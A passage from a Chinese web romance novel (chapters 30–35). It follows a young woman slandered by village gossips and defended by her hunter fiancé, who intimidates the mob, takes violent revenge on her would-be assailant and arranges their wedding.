林若若心里感激,这柳婶子为人热忱,“您这馒头蒸得真暄乎,我正好早上烙了饼,您带两张回去给孩子们尝尝。”说着就去灶房用油纸包了两张手抓饼,硬是塞进柳婶子手里。
柳婶子推辞不过,接了饼,又逗了小丫头几句,这才离开。
送走柳婶子,小丫头也吃饱了。
林若若收拾了碗筷,牵着她的小手在院子里慢慢走了几圈。
春日阳光正好,晒得人身上暖洋洋的。院角那棵老槐树冒出了嫩绿的新芽,看着就让人心生希望。
回到屋里,林若若想起空间里那罐婴幼儿奶粉。
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>她取出来看了看,是密封很好的铁罐,上面画着胖娃娃,写着“婴幼儿配方奶粉”。
她犹豫了一下,还是用干净的碗,按照大概的感觉,舀了一点奶粉,用温水冲开,尝了尝味道,只有淡淡的奶香和微甜。这个时代的孩子能喝到羊奶、牛奶的都不多,这奶粉倒是精细。
“小静,来尝尝这个。”
她将冲好的奶递给小丫头。小丫头好奇地凑近闻了闻,然后小心地喝了一口,咂咂嘴,眼睛弯了起来:“娘,甜,好喝。”
“好喝就慢慢喝。”林若若看她喜欢,心里也高兴。这罐奶粉不多,得省着点,偶尔给孩子补充点营养也好。
趁小丫头专心喝奶的功夫,林若若心神沉入空间,将洗好的衣物拿出来晾上。
洗衣机早已停止,她看着那几件打着补丁但洗得干净的旧衣裳在阳光下滴着水,又看了看屋里安静喝奶的女儿,心中一片宁静。
只可惜,树欲静而风不止。
上午,林若若带着小静,去木匠老赵头家,想看看自家的书柜,还有衣柜打好了没有。
走在村里,林若若总觉得不舒服。
上午阳光正好,林若若牵着小静的手,先去村口老槐树下寻那挑担子的货郎。
小丫头脚上的鞋子早已磨薄了底,前头也有些开线。而自己也不会做这种千层底行鞋子。
货郎担子里的东西虽不多,倒还真有几双小孩家穿的布鞋,粗布面,纳得密实的千层底。
林若若挑了一双大小合适的红色小鞋子,让小静试了试,小丫头踩在地上,新奇地动了动脚趾头,脸上是藏不住的欢喜。
林若若付了钱,把旧鞋用布包了,新鞋就给小静穿上。
“走,咱们去赵爷爷家看看柜子打好了没。”林若若牵起女儿,往村西头的木匠老赵头家去。
去木匠家要穿过大半个村子。
起初路上遇见几个婶子媳妇,还都点头招呼,虽不算热络,倒也寻常。
可走着走着,林若若便察觉出些异样……
第30章 不要脸!
路过一处井台,几个正在洗衣的妇人本来叽叽喳喳说得热闹,见她过来,声音顿时低了下去,眼神飘忽着往她身上瞟~
待她走过,那压低的议论声又窸窸窣窣地响起来,像草丛里窜过的蛇,听不真切,却让人背脊发凉。
林若若眉头微蹙,脚下未停,只将小静的手握得更紧了些。
小丫头似乎也感觉到了什么,仰起脸,不安地唤了声:“娘亲?”
“没事。”林若若对她安抚地笑笑。
到了木匠老赵头家,院门敞着,里面传来拉锯刨木的声响。
院里,老赵头正眯着眼在打磨一块木板。
见林若若来了,他放下手里的活计,态度倒是如常:“长风媳妇来了?柜子框架打得差不多了,还得上榫头、打磨,再有个三五天就能抬过去了。”
“不急,赵叔您慢慢做,仔细些就好。”林若若看了看那初具雏形的书柜和衣柜,木料厚实,做工也扎实,心里是满意的。
她付了定金剩下的部分,又客气了几句,便带着小静告辞出来。
回程时,那异样的感觉更明显了。
村巷里,偶有探头探脑的视线从门缝或窗后投来,带着审视、好奇,还有毫不掩饰的鄙夷。
几个五六岁的半大孩子聚在巷口玩耍,见到她,其中一个忽然捏着鼻子,怪声怪气地学舌:
“上杆子的后娘,不知羞!”
“脸皮厚!”
旁边孩子哄笑起来。
“你们才脸皮厚!你们才不知羞!骂我娘亲,你们都是坏人!坏人!”小静平日里虽然胆子小,但她却不能让人骂自己娘亲!
自己好不容易才有了娘亲,绝不能再变成没娘的孩子!
“你这后娘就是个****狐狸精!还没成亲就住在你家,晚上你爹不在家还偷汉子,不是**是什么?你还叫她娘,你可别长成个小**!”
赵小静一听,眼眶顿时红了!挣脱林若若的手,朝着最近的一个骂人的男孩冲了过去,拉起他的手,狠狠咬了上去!
她太小了,其他地方够不到!
那孩子被咬,顿时发出一声哀嚎,接着甩手就要把赵小静扔出去!
千钧一发之际,林若若两步上前,抱住了被甩出去的小静,由腾出右手,朝着这孩子的脸上狠狠甩了一巴掌!
“嘴巴这么脏,今天早上没刷牙吧?!”林若若的气势瞬间让其他孩子后退了好几步!
“**,你敢打我?!”男孩子捂着被打疼地脸,嗷嗷都哭起来,然后小炮蛋一样冲向林若若。
看到这种情形,林若若把小静抱紧,眼神倏地冷了下来,眼看着那孩子即将撞上来的时候,猛地挪开了身体,那孩子刹不住,猛地冲了出去,摔倒在前面。
然后哭得更凶了~
“你们还这么小,居然知道这样骂人,谁教你们说的?!”林若若声音不高,却清晰地传过去,目光死死盯住还趴在地上大哭的男孩,由扫视了一圈其他五六个孩子。
地上的男孩被她目光一扫,立刻爬起来,擦了擦眼泪,大声喊道:“村里好多人都这么说!说你没……没那啥就住进赵叔家,夜里还有野男人翻墙头!说你是个**狐狸精!”
林若若被气笑了,“你们是亲眼所见,夜里有男人翻我家墙头?!是谁亲眼所见,在哪里见到的,什么时辰,有谁能够证明?如果是别人告诉你的,那么是谁告诉你的?什么时辰什么地方?今天你们说不明白,咱们就去报官!你们这就是污蔑!是诽谤!”
几个孩子一听,这女人还要报官?!赶紧爬起来一溜烟跑掉了,其他孩子也瞬间作鸟兽散。
林若若站在原地,指尖微微发凉。
她料到或许会有些闲言碎语,却没想到竟传得如此不堪,连“野男人翻墙”这种污蔑清白的恶毒话都编派出来了。
这分明是想彻底坏了她的名声,乃至逼她在这村里待不下去。
是谁?
王婆子?
还是其他看她不顺眼,或与赵长风有过节的人?
她深深吸了口气,将心头的怒意压下去。
此刻争辩毫无意义,只会让看热闹的人更起劲。
她弯下腰,抱起小静,“谢谢宝贝保护娘亲,走,咱们回家!”
小静伸出小胳膊,搂住林若若的脖子,用力点了点头。
母女俩沉默地往家走。
刚到家门口,却见柳婶子正焦急地等在那里,一见她,连忙迎上来,脸上带着忧色:“若若,你可回来了!哎,这……”
她欲言又止,看了看林若若平静的脸色,叹了口气,
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“你……听到些闲话了?”
林若若打开门,让柳婶子进屋,又给小静倒了碗温水让她喝着,这才淡淡道:“听到了几句。婶子也知道?”
柳婶子一脸愤慨:“也不知是哪个烂了舌根的胡吣!早上你给我的那饼,我拿回去,我家小子喜欢得不得了,正好隔壁孙婆子来串门,看见了就问。我顺嘴夸了你一句手巧,人也好。谁知道……谁知道没过晌午,这话就传变了味!说什么你用吃食笼络人,心虚!还说……还说更不堪的。”
她顿了顿,压低声音,“我特意去打听了,这话头,最早像是从村东头李寡妇那边传出来的,她跟王婆子走得近。”
李寡妇?林若若记起那日赵家院子外,王婆子身边确实有个眼神闪烁、颧骨高高的瘦削妇人。
“多谢婶子告诉我这些。”林若若心下了然,看来王婆子还是不死心。
她给柳婶子也倒了碗水,“清者自清,我没做过的事,任别人说破天去,也是假的。”
“话是这么说,可这人言可畏啊!”柳婶子担忧道,“尤其长风兄弟又不在家,你一个妇道人家带着孩子……要不,这两日你少出门,等长风回来……”
等赵长风回来?
林若若看着窗外明晃晃的日头。
等他回来,谣言恐怕早已发酵得更加难听。她不能坐以待毙。
“婶子,我晓得了。您也别太操心,为这些事气坏身子不值当。”林若若送走了忧心忡忡的柳婶子,关上了院门。
院子里安静下来,阳光依旧温暖,可空气中却仿佛弥漫着一层看不见的阴霾。
小静安静地坐在小板凳上,玩着林若若给她编的草蚂蚱,偶尔偷偷看一眼娘亲。
林若若走到院中,抬头看了看澄澈的天空,又望了望远处连绵的青山。
赵长风此刻就在那山里。他知不知道,他刚离开,家里就被人泼了这样一盆脏水?
袖中的手轻轻握紧。
看来,那三百两银子和地契的事,暂且还得放一放。
眼下,得先把这漫天飞舞的“刀子”挡一挡。
她转身回屋,神色已然恢复平静,甚至带上了一丝冷峭的锐气。
想用流言逼走她?那也得看看,她林若若是不是那等任人拿捏的软柿子。
第31章 谁动了我的人!
柳婶子走后约莫大半个时辰,院门外便由远及近,传来一阵嘈杂的脚步声,还伴着一阵大声的喧哗声。
“就是这家!赵长风家的!”
“打伤了孩子还有理了?出来说道说道!”
“一个外来的破落户,还没正经成亲呢就敢这么横!”
“砰!砰!砰!”院门被拍得山响,夹杂着几个妇人尖利的叫骂和男人粗声粗气的喝问。
林若若正在灶间收拾,闻声手顿了顿。
该来的,果然来了,还来得这样快。
她擦干手,理了理鬓发,神色平静地走到院中。
小静有些害怕地跟在她身后,小手紧紧揪着她的衣角。
打开院门,门外黑压压站着六七个人,为首的是个膀大腰圆的婆娘,正是之前骂得最凶那男孩的娘,姓李,人称李婶子。
她一手叉腰,一手拽着自己那哭得鼻涕眼泪糊了一脸的儿子,指着男孩手背上已经不甚清晰的牙印和脸上淡淡的红痕,唾沫横飞:
“大家看看!看看这狠毒的妇人把我家栓子打的!还有这咬的!这么小的孩子她也下得去手!这还有没有王法了?!”
“就是!太狠心了!”
“蛇蝎心肠啊!”
旁边几个同来的妇人和汉子也跟着帮腔,各个眼神不善,几个男人上下打量着林若若,眼中有猥琐的光芒一闪而过。
林若若目光扫过众人,最后落在吴婶子脸上,声音清晰而冷静:
“你儿子脸上的红印,是我打的。他手上的牙印,是小静咬的。但事出有因,为何不问问他,还有这几位一起玩耍的孩子,先说了些什么污言秽语?”
“小孩子懂什么?不过是学了几句闲话!你就下这么重的手?我看你就是做贼心虚!被说中了痛处!”
李婶子蛮横地一挥手,“废话少说,赔钱!赔我家十两银子!给我家栓子看伤,再当着大家的面赔礼道歉!不然今天没完!”
“闲话?”林若若眼神锐利起来,“教唆孩童传播‘野男人翻墙’‘****狐狸精’这等污人清白的恶毒谣言,仅仅是‘闲话’?李婶子,你也是为人父母的,若有人这般造谣你的女儿,你当如何?只当是孩子学舌?”
“你……你少胡扯!谁造谣了?村里人都那么说!又不单单是我家栓子说!而且无风不起浪!苍蝇不盯无缝的蛋!”李婶子被噎了一下,梗着脖子强辩。
“哦?都那么说?那便是都有嫌疑了。”
林若若向前一步,虽只一人,气势却丝毫不弱,
“既然如此,我们不妨现在就去里正那里,或者直接报官!让官府来查查,这‘风’到底是从哪里起的,这‘浪’又是谁掀起来的!看看构陷他人、败坏妇孺名声,该当何罪!”
一听“报官”,几个帮腔的村民气势顿时矮了半截,眼神闪烁起来。
他们大多只是跟着起哄,真闹到官府,谁不犯怵?
李婶子见状,更是恼羞成怒,她本就泼辣,今天又是纠集了人来撑场子的,岂肯轻易罢休?
见说理说不过,索性撒起泼来:“好男个牙尖嘴利的贱蹄子!仗着有几分颜色勾引人,还敢吓唬我们?不赔银子,今天就让你知道厉害!”说着,竟猛地往前一冲,伸手就要来抓扯林若若的头发。
她一动,后面几个平日与她交好、或是同样对林若若心存不满的妇人也跟着拥了上来,男人们则在后面鼓噪。
林若若早有防备,侧身避开李婶子的手,同时将小静往自己身后护得更严实。但她毕竟双拳难敌四手,又要护着孩子,瞬间便被围住,推搡之间,衣襟被扯乱。
小静见娘亲被欺负,急得眼睛通红,小小的身体爆发出巨大的勇气,猛地从林若若身后钻出来,冲着再次扑上来的吴婶子大腿就狠狠咬了下去!
“啊——!小贱种还敢咬人!”李婶子吃痛,勃然大怒,抬手就朝小静的脸上扇去!
林若若瞳孔骤缩,那一刻来不及多想,用尽全身力气将小静往自己怀里一揽,猛地转身,用后背护住孩子。
“啪——!”
清脆响亮的耳光声,结
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结实实地落在了林若若的左脸上。
火辣辣的疼痛瞬间蔓延开来,耳边嗡嗡作响,眼前也有些发黑。
李婶子见一击即中,打中了,越发嚣张,其他几人见动了手,也胆气一壮,叫嚷着就要一拥而上。
“娘亲!”小静看着林若若迅速红肿起来的脸颊,吓得大哭。
就在这混乱不堪、几个妇人男子的手即将碰到林若若母女的千钧一发之际——
“咻——!”
一道尖锐的破空之声骤然划破喧闹!
黑影闪电般掠过众人头顶,“夺”地一声闷响,一柄厚重锋利的**深深扎进了赵家院门的门框之上,刀柄犹自震颤不休,发出低沉的嗡鸣。
同时,几缕枯黄的头发飘然落下——正是从李婶子鬓边被削断的!
刹那间,全场死寂。
所有人都被这突如其来的一刀骇住了,动作僵在半空,惊恐地望向**飞来的方向。
村巷那头,一个高大的身影正大步流星而来。
他穿着寻常的粗布猎装,袖口挽起,露出结实的小臂,肩头还扛着些山货,面容被日光晒得微黑,眉眼冷峻,薄唇紧抿,周身散发着一种刚从山林里带出来的、未曾收敛的凛冽气息。
正是赵长风。
他的目光先掠过院门口呆若木鸡的众人,然后,精准地落在了被围在中间、脸颊红肿、发丝凌乱却依旧紧紧护着怀中女儿的林若若身上。
那眼神,倏地沉了下去,如同结冰的深潭。
他一步步走近,脚步声不重,却让堵在门口的人下意识地纷纷后退,让出一条道来。
赵长风走到门前,看也没看旁边吓得面无人色的吴婶子等人,只伸出大手,握住了那深深嵌入木头的刀柄,微一用力,拔了出来。
刀刃在阳光下反射出冷冽的光。
他这才转过身,目光缓缓扫过刚才还气势汹汹此刻却噤若寒蝉的众人,最后定格在李婶子惨白的脸上,声音不高,却字字砸在人心上:
“谁动的我的人?!”
“谁?!”
第32章 一把**
场面静得吓人。
只有刀柄微颤的余音和李婶子牙齿打战的咯咯声。
赵长风握着刀,没再问第二遍。
他只是盯着李婶子,那目光像冰冷的刀锋刮过她的皮肉。
李婶子腿一软,差点瘫坐在地,脸上血色尽褪,指着林若若的手抖得不成样子:“是、是她先打栓子……还、还让那小崽子,让你那闺女咬人……我、我才……”
“我问,谁、打、的。”赵长风打断她,一字一顿,每个字都像是从冰窖里捞出来的。
他肩上的山货“噗通”一声被撂在地上,溅起些许尘土。
他向前跨了一步,猎装下贲张的肌肉线条清晰可见,那股常年与山林野兽搏杀淬炼出的凶悍气息,毫无保留地压向众人。
刚才还聒噪的男人们齐齐后退一步,眼神躲闪,连大气都不敢喘。
李婶子被他气势所慑,魂飞魄散,下意识指向自己的手,又猛地缩回,哭嚎起来:
“是我……可我冤枉啊!长风,你是不知道这贱……这女人她多狠毒,她把栓子打成这样,我这当娘的一时气昏了头……”
“她为何打栓子?”赵长风声音依旧很平,却带着不容置疑的力量。
“因为……因为栓子他们说了几句闲话……”李婶子声音越来越低。
“什么闲话?”
“就、就是……”李婶子支支吾吾,眼神乱瞟,求助般看向同来的几人,那几人却纷纷避开了她的目光。
赵长风不再看她,转而将目光投向那几个缩在父母身后、脸上还带着惊慌的男孩,包括脸上有红痕的栓子。
他的语气放缓了一些,却更令人心悸:“你们几个,说。刚才,说了什么。”
孩子们哪见过这阵仗,被赵长风那黑沉沉的眸子一扫,一个胆子小的“哇”地哭了出来。
栓子更是吓得浑身哆嗦,抽噎着断断续续道:“说……说她……是狐狸精……**,是**,勾、勾引野男人……晚上有野男人翻墙……”
“谁告诉你们的?”赵长风追问。
栓子吓得一抖,脱口而出:“是……昨日,你们家没有人,王婆婆……她给我糖吃,让我跟小伙伴说,说赵叔家来了不干净的女人,还说……还说她看见有黑影半夜翻墙进来,让我们到处说……”
此言一出,众人哗然。
王婆婆?
赵长风眼神一凛,“是我家右手边这家的王婆婆母吗?”
那孩子眼里含着泪,点点头。
那不就是原本在长风家看孩子,每月一两银子,前一阵被辞退的王婆子?
赵长风顿时气笑了~
李婶子也愣住了,她只知道村里风言风语传得厉害,隐约听说是王婆子起的头,但具体如何并不清楚,今日来找茬,多半是借题发挥,外加眼红赵长风打猎有些收入,想讹诈一笔。
没想到被自己儿子当场捅了出来。
赵长风眼神彻底冰寒。
他早就察觉村里流言不对,只是近日忙着进山囤冬货,又想着林若若初来乍到需缓和,才暂时按捺。
没想到,有人竟恶毒至此,不仅编排大人,还教唆孩童!
他不再理会面如死灰的李婶子,目光如电,射向人群外围一个正偷偷往后缩的干瘪身影——那正是闻讯赶来看热闹的王婆子!
王婆子本来躲在人后,想看林若若出丑,没想到赵长风突然回来,形势急转直下,更没想到火直接烧到了自己身上。
见赵长风看过来,她心头猛跳,转身就想溜。
“站住。”
赵长风的声音不大,却带着一种奇特的穿透力,让王婆子的脚像钉在了地上。
他提着刀,一步步走过去。人群自动分开,鸦雀无声。
王婆子吓得浑身发抖,强自镇定地转过身,挤出一个比哭还难看的笑:“长、长风啊,你听我说,这都是小孩子瞎说,我可没……”
“栓子说,你给他糖,让他传话。”赵长风在她面前站定,高大的身影完全笼罩了她,“你还看见了黑影翻墙?”
“我……我那是……那是老眼
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昏花,看错了!对,看错了!”王婆子慌忙摆手。
“看错了?”赵长风微微倾身,压迫感更强,“那你到处跟人说,我赵长风家里藏了不干净的女人,败坏未嫁女子的名声,也是看错了?”
“我……我……”王婆子词穷,冷汗涔涔而下。
赵长风直起身,不再看她,而是转向所有村民,声音清晰凛冽:
“林姑娘是我赵长风明媒正娶尚未过门的妻子,因家中孩子需要照料,我又常年在山里打猎,所以先来照顾孩子。婚书已在官府备过案,不日便将正式成亲。谁再敢胡言乱语,诋毁她的清白,”
他顿了顿,手中**寒光一闪,“便如此门!”
话音未落,他反手一刀挥出!
只听“咔嚓”一声脆响,旁边碗口粗的一根晾衣杆应声而断,断口平滑如镜。
所有人都倒吸一口凉气。
赵长风目光最后落在面无人色的王婆子和李婶子身上:“王婆子,为老不尊,散布谣言,教唆孩童,心术不正。李婶子,听信谣言,聚众**,动手伤人。”
他看向林若若红肿的脸颊,眼中戾气一闪。
“念在初犯,今日不予报官。”
他声音冷硬如铁,“王婆子,从今日起,若再让我听见你搬弄是非,我亲自送你见官。李婶子,你和你儿子,立刻向林姑娘和小静磕头认错。至于赔偿……”
他看向李婶子:“你不是要十两银子吗?好,拿十两银子来,给林姑娘压惊治伤。少一个铜板,我便去你家,亲自取。”
李婶子一听,差点晕过去。
十两银子!她自己家一年也攒不下三两!
可看着赵长风手中那柄寒光闪闪的**,还有他毫无表情的脸,她一个字也不敢反驳,腿一软,“噗通”一声跪倒在地,拉着同样吓傻的栓子,磕头如捣蒜:
“林姑娘,我错了!是我猪油蒙了心!是我听了那老虔婆的挑唆!我不是人!您大人有大量,饶了我吧!银子……银子我一定凑,一定凑!”
第33章 复仇之夜
王婆子也瘫坐在地,知道自己在这村里是再也抬不起头了,老脸丢尽,心中又气又恨,却连屁都不敢放一个。
赵长风不再看她们,走到林若若身边,看着她脸上的掌印,眉头拧紧,抬手似乎想碰触,又在半空中顿住,只低声道:“先进屋,我看看伤。”
林若若一直紧绷的神经此刻才稍稍松懈,抱着小声抽噎的小静,对他轻轻点了点头。
虽然脸上火辣辣地疼,心里却莫名安定。
赵长风护着母女二人转身入院,对门外噤若寒蝉的众人丢下最后一句:
“都散了。再有下次,我赵长风的刀,认得人,也认不得人。”
院门“吱呀”一声关上,将一众或惊恐、或羞愧、或复杂的目光隔绝在外。
门外,众人面面相觑,半晌,才心有余悸地拖着吓软的李婶子和失魂落魄的王婆子,悄然散去。
自此,赵家村的人再想对林若若动手,就得掂量掂量了。
当天傍晚
夕阳的余晖将院墙的影子拉得老长。
赵林和赵峰背着书包推开院门时,看到的便是林若若正蹲在灶房门口择菜。她侧对着他们,颊边那一抹红肿在昏黄的光线下格外刺眼。
赵林的脚步猛地顿住。
赵峰也看见了,手里的书袋“啪嗒”一声掉在地上,眼睛瞪得老大:“若若姐,你的脸……”
林若若闻声转头,下意识抬手想遮掩,却又觉得欲盖弥彰,便笑了笑,那笑容扯到伤处,有些僵硬:“没事,下午不小心碰着了。”
她不想让孩子们担心,更不想让他们卷入大人间的龃龉。
赵林没说话。十四岁的少年已经比林若若高出小半个头,肩背挺直,眉眼间隐约有了赵长风的轮廓,只是更显清冷。他盯着那红肿看了片刻,眼神沉了下去,一言不发地弯腰捡起弟弟掉在地上的书袋,拍了拍灰,递还给赵峰。
“去写功课。”他对赵峰说,声音平静。
赵峰看看大哥,又看看林若若,还想问什么,却被赵林一个眼神止住,只好嘟囔着进了屋。
林若若看着赵林:“真没事,就是……”
“我去后园给菜地浇点水。”赵林打断她,语气没什么起伏,转身便往后院走。
后园的菜畦被林若若打理得井井有条,绿油油的青菜长势正好。赵林拿起靠在墙边的小木桶,却没有立刻打水。他站在菜地旁,目光越过矮墙,望向隔壁王婆子家的方向。
夕阳已经完全沉下山去,暮色四合,隔壁院里传来锅碗瓢盆的碰撞声,还有王婆子尖细的嗓门在数落着什么,听不真切。
赵林浇了水,又慢条斯理地将晾在竹竿上的几件衣服收了,叠好。等他抱着叠好的衣物回到前院时,天色已经擦黑。
赵峰正趴在桌上写大字,林若若在灶间忙碌,锅里的粥咕嘟咕嘟冒着热气。
赵林将衣服放进屋里,出来时,走到赵峰身边,俯身低声说了几句话。
赵峰握着笔的手一顿,抬头看他哥,眼睛亮了一下,又迅速垂下眼,轻轻点了点头。
晚饭吃得格外安静。只有碗筷轻碰的声音。
林若若脸颊的伤疼得她没什么胃口,勉强喝了半碗粥。赵长风吃得也少,他时不时抬眼看向林若若,目光沉沉的,不知在想什么。
饭后,赵长风帮着收拾了碗筷,对林若若道:“我今晚还得回山里一趟。冬货还剩最后一点,得赶在雪封山前弄回来。”
林若若一愣:“现在?天都黑了。”
“夜路走惯了,没事。”赵长风拿起搭在椅背上的外衫穿上,“你们锁好门。赵林,照顾好家里。”
赵林点头:“爹放心。”
赵长风又深深看了林若若一眼,那眼神复杂,有歉疚,有安抚,还有一丝不易察觉的狠厉。他没再多说什么,转身出了门。
院门外,那辆拉山货的旧骡车已经套好。赵长风跳上车,轻叱一声,骡车碾过村道,很快消失在渐浓的夜色里。
林若若依言闩好院门,一回头,看见赵林正站在堂屋门口看她。
“若若姐,早点休息。”少年说
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完,便拉着赵峰回了他们兄弟俩的屋子,关上了门。
林若若抚了抚依旧发烫的脸颊,心里有些空落落的,又有些说不清的不安。她吹灭了堂屋的油灯,也回了自己和小静的房间。
夜色渐深。
镇上
骡车出了村,却没有往山里走。
赵长风一甩鞭子,骡子小跑起来,方向是往镇上去的。
夜风凛冽,刮在脸上像刀子。赵长风眯着眼,眸色比这夜色更沉。
前些日子,那个趁他不在、中午翻墙闯进他家,试图对林若若图谋不轨的混账,他早就摸清了底细。
王婆子的女婿,张癞子。
一个游手好闲、嗜赌好色的无赖。仗着有把子力气和一副无赖嘴脸,在镇上厮混,偶尔回村,也是闹得鸡犬不宁。
王婆子因为林若若来了被辞退,少了每月一两银子的进项,心里本就憋着火。正巧那阵子她女儿跟张癞子吵架,跑回娘家哭诉,说张癞子在外头胡混。王婆子眼珠一转,恶念顿生。
她对着张癞子煽风点火:“隔壁赵长风新娶的媳妇,听说是京城侯府出来的千金小姐,细皮嫩肉,模样标致得很!关键是还没洞房呢,赵长风又常年在山里跑……啧啧,那滋味……”
张癞子本就是色中饿鬼,一听这话,眼睛都直了。再加上王婆子拍着胸脯保证赵长风那天肯定在山里,他便壮起贼胆,摸进了赵家。
结果被恰好提前回家的赵长风堵个正着,结结实实挨了一拳。那混账倒也滑溜,趁赵长风查看林若若情况的功夫,连滚带爬翻墙跑了。
他能跑掉,是赵长风故意的。
一拳太便宜他了。赵长风要弄清楚是谁在背后使坏,更要等一个合适的时机,连根拔起。
这几日,他表面进山,实则暗中盯着张癞子在镇上的落脚处——摸清了他昼伏夜出、常在镇东头小酒馆赌到半夜的习性。
今日王婆子竟敢变本加厉,教唆孩童散布那样恶毒的谣言,还引得李婶子动手打了林若若。
这就够了。
第34章 不见了?!
新账旧账,该一起算了。
骡车在镇外停下。
赵长风将骡车拴在路边的林子里,从车板下摸出一个布包,抖开,里面是一身深色的粗布衣裳和一块蒙面巾。
他利落地换上衣服,蒙住口鼻,只露出一双寒星般的眼睛。
夜里的镇子静悄悄的,只有打更人偶尔敲着梆子走过。
赵长风像一头熟悉地形的黑豹,悄无声息地穿过小巷,来到镇东头。
那个简陋的酒馆还亮着昏黄的油灯,里面传出嘈杂的划拳声和叫骂声。
他隐在对面屋角的阴影里,耐心等待着。
约莫过了一个时辰,酒馆的门“哐当”一声被推开,几个人歪歪斜斜地走出来。
其中一个,正是张癞子,他输光了钱,骂骂咧咧,满脸晦气,独自一人朝自家走去。
赵长风跟了上去。
张癞子走到家门口,掏出钥匙,醉醺醺地插了半天没**去,嘴里不干不净地咒骂着。
就在他好不容易打开门,一只脚跨进去的瞬间,一只铁钳般的手从后面猛地捂住了他的嘴,另一只手锁住他的喉咙,将他狠狠掼进了漆黑的院子里!
“唔——!”张癞子惊恐地瞪大眼,拼命挣扎,可那双手的力量大得惊人,他像只小鸡仔一样被死死按住。
油灯被点亮。
昏黄的光晕照亮了周边,也照亮了蒙面人那双冰冷无情的眼睛。
张癞子看清了这双眼睛,瞬间认了出来,魂飞魄散——是赵长风!那天他挨打时,牢牢记住的就是这双眼睛!
他想求饶,可嘴巴被死死捂住,只能发出“呜呜”的哀鸣。
赵长风松开捂嘴的手,但锁喉的手劲丝毫未松,声音压得极低,却字字如冰锥:
“张癞子,认得我?”
“赵、赵大哥……饶命……饶命啊……”张癞子涕泪横流,裤子都湿了一片。
“谁让你去我家的?”
“是……是我那丈母娘!王婆子!都是她撺掇我的!她说你新媳妇是侯府小姐,还没……还没……让我去……是她!全是她!”张癞子为了活命,恨不得把王婆子祖宗八代都卖了。
“今日村里的谣言,也是她教的?”
“是是是!她给我糖,让我分给村里小孩,让他们到处说!她还说她亲眼看见有黑影翻你家墙……都是她编的!她想坏你媳妇名声,逼你赶她走,她好回去给你家看孩子挣钱……”张癞子一股脑全倒了出来。
赵长风眼中戾气翻涌。
果然。
他松开了锁喉的手,张癞子瘫软在地,大口喘气,以为逃过一劫。
然而下一刻,赵长风抬起脚,狠狠踩在张癞子的右小腿上!
“咔嚓!”
令人牙酸的骨裂声在寂静的夜里格外清晰。
“啊——!”张癞子发出一声凄厉的惨叫,但声音刚出口,就被赵长风用破布死死塞住,变成了绝望的闷哼。
赵长风蹲下身,看着痛得几乎晕厥的张癞子,声音冰冷得不带一丝温度:
“这只脚,算你翻墙的代价。再敢踏进赵家村一步,或者再让我听见你嘴里吐出半句关于我家人的污言秽语……”
他顿了顿,目光扫过张癞子另一条完好的腿和两只胳膊。
张癞子吓得浑身痉挛,拼命摇头,眼中满是乞求。
赵长风盯着他的右腿,冷冷地说道:
“那日,和你一起进入我家的是不是……?”
“是!是!是!”没等赵长风问完,张癞子赶紧答道。
赵长风站起身,不再看他,吹灭了油灯。
周围重新陷入黑暗,只剩下张癞子压抑的、痛苦的呜咽。
赵长风像来时一样,悄无声息地融入夜色。
一路上他不再停留,快步回到藏骡车的地方,换回原来的衣服,驾车驶向来路。
夜风依旧寒冷。
赵长风赶着车,脸上的线条在朦胧月色下显得格外冷硬。
流言蜚语,他可以当众用刀震慑。
但有些藏在暗处的毒蛇,必须彻底打断它的七寸,让它再也不敢露头,也不敢再唆使别人。
王婆子,张癞子……这只是开始。
他的家人,谁碰,谁就得付出代价。
骡车碾过冻硬的土地,朝着一个方向,疾驰而
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去。
东方天际,已经隐隐泛起一丝灰白。
东方既白,骡车碾着晨曦的微光,并未回村,而是径直驶向了林家的方向。
赵长风叩响林家院门时,林父林母刚刚起身。
见他这么早赶来,面色冷峻,身上还带着夜露的寒气,两人心里都是一咯噔。
“长风,可是出了什么事?”林母忙问。
“无事。”赵长风摇头,语气却比往日更显郑重,“岳父、岳母,我今日来,是想与二老商议,正式迎娶若若过门,举行婚礼。”
林父林母闻言,对视一眼,都在对方眼中看到了如释重负和一丝复杂。
林母眼圈先红了:“好,好……是该办礼了。是我们家……对不住你,也对不住若若这孩子。”
“先别说这些,先进屋暖和暖和。老婆子,去煮饭去!再煮两个鸡蛋!”林父的声音有些许的哽咽。
“哎!我这就去!小山!小山,快起来,你姐夫来了!”
林父重重叹了口气,像是下定了决心,带着赵长风进了屋,“长风,你等会儿,我给你拿个东西。”
说完,他转身进了里屋。
片刻后,他手里捧着一个小巧的旧木盒出来,手指微微颤抖。
“长风,”林父的声音干涩,“有件事,压在我心里许久了,每每想起,愧悔难当。今日你既真心要娶若若,这话……我不能再瞒了。”
他将木盒放在桌上,打开,里面空空如也。
“这是当时……你送来三百两聘礼时,家里用来存放的箱子。”林父指着空盒,脸上皱纹因痛苦而深刻,“那三百两,不见了。”
赵长风目光一凝。
林母在一旁抹泪:
“当时美美……那孩子闹着要去京城认亲,家里鸡飞狗跳。银子是你派人悄悄送来的,没惊动外人,我亲手点收,锁进这箱子,钥匙一直在我身上。本想着,这亲事若真成了,这银子一半给美美压箱底,一半留着给小山……或是将来应急。谁知没过两日,美美就偷了家里所有的现钱跑了。等乱过一阵,我再开箱查看时,里面……就空了。”
第35章 成亲~
听到这里,赵长风心里已经有数了。他摸着自己的虎口,眼中有凌厉的光芒一闪而过。
林父看了看他有些阴沉的脸色,声音低哑:
“家里没进过贼,箱子锁也没坏。我们猜……只能是美美。她怕是早就知道有这笔银子,也偷了钥匙……她那时鬼迷心窍,一心要去京城攀高枝,路费盘缠不够,竟把这聘礼也……”
他说不下去,老脸涨红,“我们教女无方,酿成大错,还、还让你蒙受这等损失和**……那三百两,我们一定……”
“岳父,”
赵长风出声打断,语气平静,却带着不容置疑的力量,
“银子的事,不必再提。当初既是聘礼,送出便与赵家无关。如何处置,是林家的事。再者说,咱们也没有何美美偷走银子的证据。如今我要娶的是若若,与旁人、与旧事皆无干系。”
他看向那空木盒,眼神锐利如刀,却又很快归于深潭般的沉寂:
“此事,到此为止。我不会追究,也请二老不要再对任何人提起,尤其是若若。”
林父林母怔住了,望着眼前这个高大冷峻的男人,见他眼中并无想象中的愤怒或鄙夷,只有一片沉静的决断,心头百感交集,羞愧与感激翻涌,最终化为更深的敬重。
“好……好……”林父哽咽,“长风,你……你仁义啊!我们老两口对不起若若,可跟了你,我们放心了!”
“既然这样,那咱们就商定一下婚礼的细节。”
婚事就此商定。
赵长风谢绝了林家任何形式补偿的提议,只详细商定了婚礼的流程——不铺张,但该有的礼数一样不少。
他要让两个村子的人都知道,林若若是他赵长风三媒六聘、堂堂正正迎娶的妻子。
消息很快传开。
